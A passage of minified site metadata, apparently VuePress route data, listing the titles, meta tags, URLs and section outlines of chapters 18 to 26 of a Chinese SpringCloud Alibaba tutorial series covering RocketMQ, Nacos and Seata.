冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第18章-消息服务:MQ使用场景与选型对比",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第18章:MQ使用场景与选型对比"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-17-SA%E5%AE%9E%E6%88%98-%E7%AC%AC18%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-MQ%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF%E4%B8%8E%E9%80%89%E5%9E%8B%E5%AF%B9%E6%AF%94.html"},{name:"twitter:title",content:"第18章:MQ使用场景与选型对比"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-17-SA%E5%AE%9E%E6%88%98-%E7%AC%AC18%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-MQ%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF%E4%B8%8E%E9%80%89%E5%9E%8B%E5%AF%B9%E6%AF%94.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-17-SA%E5%AE%9E%E6%88%98-%E7%AC%AC18%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-MQ%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF%E4%B8%8E%E9%80%89%E5%9E%8B%E5%AF%B9%E6%AF%94.html",relativePath:"md/microservices/springcloudalibaba/2022-05-17-SA实战-第18章-消息服务-MQ使用场景与选型对比.md",key:"v-4f4a21d2",path:"/md/microservices/springcloudalibaba/2022-05-17-SA%E5%AE%9E%E6%88%98-%E7%AC%AC18%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-MQ%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF%E4%B8%8E%E9%80%89%E5%9E%8B%E5%AF%B9%E6%AF%94.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"MQ的使用场景",slug:"mq的使用场景"},{level:3,title:"异步解耦",slug:"异步解耦"},{level:3,title:"流量削峰",slug:"流量削峰"},{level:2,title:"引入MQ后的注意事项",slug:"引入mq后的注意事项"},{level:3,title:"系统的整体可用性降低",slug:"系统的整体可用性降低"},{level:3,title:"系统的复杂度变高",slug:"系统的复杂度变高"},{level:3,title:"消息一致性问题",slug:"消息一致性问题"},{level:2,title:"MQ选型对比",slug:"mq选型对比"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第19章:项目整合RocketMQ",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第19章:项目整合RocketMQ",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第19章-消息服务:项目整合RocketMQ",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第19章:项目整合RocketMQ"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html"},{name:"twitter:title",content:"第19章:项目整合RocketMQ"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html",relativePath:"md/microservices/springcloudalibaba/2022-05-18-SA实战-第19章-消息服务-项目整合RocketMQ.md",key:"v-d8be47ba",path:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"RocketMQ环境准备",slug:"rocketmq环境准备"},{level:3,title:"源码编译安装RocketMQ",slug:"源码编译安装rocketmq"},{level:3,title:"测试RocketMQ环境",slug:"测试rocketmq环境"},{level:3,title:"源码编译RocketMQ控制台",slug:"源码编译rocketmq控制台"},{level:3,title:"验证RocketMQ控制台",slug:"验证rocketmq控制台"},{level:2,title:"编码测试RocketMQ",slug:"编码测试rocketmq"},{level:3,title:"导入RocketMQ依赖",slug:"导入rocketmq依赖"},{level:3,title:"编写生产者代码",slug:"编写生产者代码"},{level:3,title:"编写消费者代码",slug:"编写消费者代码"},{level:3,title:"测试消息的生产与消费",slug:"测试消息的生产与消费"},{level:2,title:"项目整合RocketMQ",slug:"项目整合rocketmq"},{level:3,title:"用户微服务整合RocketMQ",slug:"用户微服务整合rocketmq"},{level:3,title:"订单微服务整合RocketMQ",slug:"订单微服务整合rocketmq"},{level:3,title:"测试项目整合的RocketMQ",slug:"测试项目整合的rocketmq"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第20章:RocketMQ核心技术",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第20章:RocketMQ核心技术",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第20章-消息服务:RocketMQ核心技术",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第20章:RocketMQ核心技术"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"twitter:title",content:"第20章:RocketMQ核心技术"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",relativePath:"md/microservices/springcloudalibaba/2022-05-20-SA实战-第20章-消息服务-RocketMQ核心技术.md",key:"v-5adcf599",path:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"IDEA启动RocketMQ源码",slug:"idea启动rocketmq源码"},{level:3,title:"下载RocketMQ源码",slug:"下载rocketmq源码"},{level:3,title:"将源码导入IDEA",slug:"将源码导入idea"},{level:3,title:"编译RocketMQ源码",slug:"编译rocketmq源码"},{level:3,title:"启动RocketMQ",slug:"启动rocketmq"},{level:2,title:"RocketMQ基本概念",slug:"rocketmq基本概念"},{level:3,title:"消息模型",slug:"消息模型"},{level:3,title:"消息生产者",slug:"消息生产者"},{level:3,title:"消息消费者",slug:"消息消费者"},{level:3,title:"主题",slug:"主题"},{level:3,title:"代理服务器",slug:"代理服务器"},{level:3,title:"名字服务",slug:"名字服务"},{level:3,title:"拉取式消费",slug:"拉取式消费"},{level:3,title:"推动式消费",slug:"推动式消费"},{level:3,title:"生产者组",slug:"生产者组"},{level:3,title:"消费者组",slug:"消费者组"},{level:3,title:"集群消费",slug:"集群消费"},{level:3,title:"广播消费",slug:"广播消费"},{level:3,title:"普通顺序消息",slug:"普通顺序消息"},{level:3,title:"严格顺序消息",slug:"严格顺序消息"},{level:3,title:"消息",slug:"消息"},{level:3,title:"标签",slug:"标签"},{level:2,title:"RocketMQ特性",slug:"rocketmq特性"},{level:3,title:"订阅与发布",slug:"订阅与发布"},{level:3,title:"消息顺序",slug:"消息顺序"},{level:3,title:"消息过滤",slug:"消息过滤"},{level:3,title:"消息可靠性",slug:"消息可靠性"},{level:3,title:"至少一次",slug:"至少一次"},{level:3,title:"回溯消费",slug:"回溯消费"},{level:3,title:"事务消息",slug:"事务消息"},{level:3,title:"定时消息",slug:"定时消息"},{level:3,title:"消息重试",slug:"消息重试"},{level:3,title:"消息重投",slug:"消息重投"},{level:3,title:"流量控制",slug:"流量控制"},{level:3,title:"死信队列",slug:"死信队列"},{level:2,title:"RocketMQ最佳实践",slug:"rocketmq最佳实践"},{level:3,title:"生产者",slug:"生产者"},{level:3,title:"消费者",slug:"消费者"},{level:3,title:"Broker",slug:"broker"},{level:3,title:"NameServer",slug:"nameserver"},{level:3,title:"客户端配置",slug:"客户端配置"},{level:3,title:"系统配置",slug:"系统配置"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第21章:服务配置介绍与Nacos核心概念",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第21章:服务配置介绍与Nacos核心概念",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第21章-服务配置:服务配置介绍与Nacos核心概念",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第21章:服务配置介绍与Nacos核心概念"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html"},{name:"twitter:title",content:"第21章:服务配置介绍与Nacos核心概念"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html",relativePath:"md/microservices/springcloudalibaba/2022-05-21-SA实战-第21章-服务配置-服务配置介绍与Nacos核心概念.md",key:"v-c4a087da",path:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"群魔乱舞(配置散落存储)",slug:"群魔乱舞-配置散落存储"},{level:2,title:"分久必合(配置中心)",slug:"分久必合-配置中心"},{level:2,title:"配置中心解决方案",slug:"配置中心解决方案"},{level:2,title:"Nacos配置中心概念",slug:"nacos配置中心概念"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第22章:项目整合Nacos配置中心",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第22章:项目整合Nacos配置中心",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第22章-服务配置:项目整合Nacos配置中心",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第22章:项目整合Nacos配置中心"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html"},{name:"twitter:title",content:"第22章:项目整合Nacos配置中心"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html",relativePath:"md/microservices/springcloudalibaba/2022-05-23-SA实战-第22章-服务配置-项目整合Nacos配置中心.md",key:"v-963bbc92",path:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"环境准备",slug:"环境准备"},{level:2,title:"服务整合Nacos配置中心",slug:"服务整合nacos配置中心"},{level:3,title:"用户微服务整合配置中心",slug:"用户微服务整合配置中心"},{level:3,title:"商品微服务整合配置中心",slug:"商品微服务整合配置中心"},{level:3,title:"订单微服务整合配置中心",slug:"订单微服务整合配置中心"},{level:3,title:"网关服务整合配置中心",slug:"网关服务整合配置中心"},{level:3,title:"查看Nacos中的配置",slug:"查看nacos中的配置"},{level:2,title:"整合Nacos配置中心测试",slug:"整合nacos配置中心测试"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第23章:实现动态刷新与配置共享",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第23章:实现动态刷新与配置共享",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第23章-服务配置:实现动态刷新与配置共享",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第23章:实现动态刷新与配置共享"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html"},{name:"twitter:title",content:"第23章:实现动态刷新与配置共享"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html",relativePath:"md/microservices/springcloudalibaba/2022-05-24-SA实战-第23章-服务配置-实现动态刷新与配置共享.md",key:"v-56bc4367",path:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"实现动态刷新",slug:"实现动态刷新"},{level:3,title:"修改Nacos配置",slug:"修改nacos配置"},{level:3,title:"通过IOC容器获取Nacos配置",slug:"通过ioc容器获取nacos配置"},{level:3,title:"通过注解获取Nacos配置",slug:"通过注解获取nacos配置"},{level:2,title:"实现配置共享",slug:"实现配置共享"},{level:3,title:"单服务多环境实现共享",slug:"单服务多环境实现共享"},{level:3,title:"多服务配置实现共享",slug:"多服务配置实现共享"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第24章:分布式事务核心原理与Seata介绍",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第24章:分布式事务核心原理与Seata介绍",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第24章-分布式事务:分布式事务核心原理与Seata介绍",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第24章:分布式事务核心原理与Seata介绍"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:title",content:"第24章:分布式事务核心原理与Seata介绍"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html",relativePath:"md/microservices/springcloudalibaba/2022-05-25-SA实战-第24章-分布式事务-分布式事务核心原理与Seata介绍.md",key:"v-d9ccacfe",path:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"分布式事务",slug:"分布式事务"},{level:3,title:"系统学习分布式事务",slug:"系统学习分布式事务"},{level:3,title:"深入理解分布式事务",slug:"深入理解分布式事务"},{level:2,title:"Seata介绍",slug:"seata介绍"},{level:3,title:"Seata 是什么?",slug:"seata-是什么"},{level:3,title:"AT 模式",slug:"at-模式"},{level:3,title:"TCC 模式",slug:"tcc-模式"},{level:3,title:"Saga 模式",slug:"saga-模式"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第25章:项目整合Seata实现分布式事务",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第25章:项目整合Seata实现分布式事务",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第25章-分布式事务:项目整合Seata实现分布式事务",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第25章:项目整合Seata实现分布式事务"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC25%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Seata%E5%AE%9E%E7%8E%B0%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html"},{name:"twitter:title",content:"第25章:项目整合Seata实现分布式事务"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC25%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Seata%E5%AE%9E%E7%8E%B0%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC25%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Seata%E5%AE%9E%E7%8E%B0%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html",relativePath:"md/microservices/springcloudalibaba/2022-05-25-SA实战-第25章-分布式事务-项目整合Seata实现分布式事务.md",key:"v-7a4e99e2",path:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC25%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Seata%E5%AE%9E%E7%8E%B0%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html",headers:[{level:2,title:"前文回顾",slug:"前文回顾"},{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"分布式事务问题",slug:"分布式事务问题"},{level:3,title:"查询数据表数据",slug:"查询数据表数据"},{level:3,title:"重现分布式事务问题",slug:"重现分布式事务问题"},{level:3,title:"查询数据表数据",slug:"查询数据表数据-2"},{level:2,title:"搭建并整合Seata",slug:"搭建并整合seata"},{level:3,title:"搭建Seata基础环境",slug:"搭建seata基础环境"},{level:3,title:"项目整合Seata",slug:"项目整合seata"},{level:3,title:"导入unlog表",slug:"导入unlog表"},{level:3,title:"商品微服务整合Seata",slug:"商品微服务整合seata"},{level:3,title:"订单微服务整合Seata",slug:"订单微服务整合seata"},{level:2,title:"验证Seata事务",slug:"验证seata事务"},{level:3,title:"重置数据库数据",slug:"重置数据库数据"},{level:3,title:"查询数据表数据",slug:"查询数据表数据-3"},{level:3,title:"验证Seata事务",slug:"验证seata事务-2"},{level:3,title:"查询数据表数据",slug:"查询数据表数据-4"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第26章:专栏总结及后续规划",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第26章:专栏总结及后续规划",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第26章-专栏总结及后续规划",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第26章:专栏总结及后续规划"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-06-15-SA%E5%AE%9E%E6%88%98-%E7%AC%AC26%E7%AB%A0-%E4%B8%93%E6%A0%8F%E6%80%BB%E7%BB%93%E4%B8%8E%E5%90%8E%E7%BB%AD%E8%A7%84%E5%88%92.html"},{name:"twitter:title",content:"第26章:专栏总结及后续规划"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-06-15-SA%E5%AE%9E%E6%88%98-%E7%AC%AC26%E7%AB%A0-%E4%B8%93%E6%A0%8F%E6%80%BB%E7%BB%93%E4%B8%8E%E5%90%8E%E7%BB%AD%E8%A7%84%E5%88%92.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-06-15-SA%E5%AE%9E%E6%88%98-%E7%AC%AC26%E7%AB%A0-%E4%B8%93%E6%A0%8F%E6%80%BB%E7%BB%93%E4%B8%8E%E5%90%8E%E7%BB%AD%E8%A7%84%E5%88%92.html",relativePath:"md/microservices/springcloudalibaba/2022-06-15-SA实战-第26章-专栏总结与后续规划.md",key:"v-5bdf7dba",path:"/md/microservices/springcloudalibaba/2022-06-15-SA%E5%AE%9E%E6%88%98-%E7%AC%AC26%E7%AB%A0-%E4%B8%93%E6%A0%8F%E6%80%BB%E7%BB%93%E4%B8%8E%E5%90%8E%E7%BB%AD%E8%A7%84%E5%88%92.html",headers:[{level:2,title:"专栏总体划分",slug:"专栏总体划分"},{level:2,title:"专栏涉及到的技术",slug:"专栏涉及到的技术"},{level:2,title:"具体篇章内容",slug:"具体篇章内容"},{level:3,title:"专栏设计篇",slug:"专栏设计篇"},{level:3,title:"微服务介绍篇",slug:"微服务介绍篇"},{level:3,title:"微服务环境搭建篇",slug:"微服务环境搭建篇"},{level:3,title:"服务治理篇",slug:"服务治理篇"},{level:3,title:"服务容错篇",slug:"服务容错篇"},{level:3,title:"服务网关篇",slug:"服务网关篇"},{level:3,title:"链路追踪篇",slug:"链路追踪篇"},{level:3,title:"消息服务篇",slug:"消息服务篇"},{level:3,title:"服务配置篇",slug:"服务配置篇"},{level:3,title:"分布式事务篇",slug:"分布式事务篇"},{level:2,title:"专栏总结",slug:"专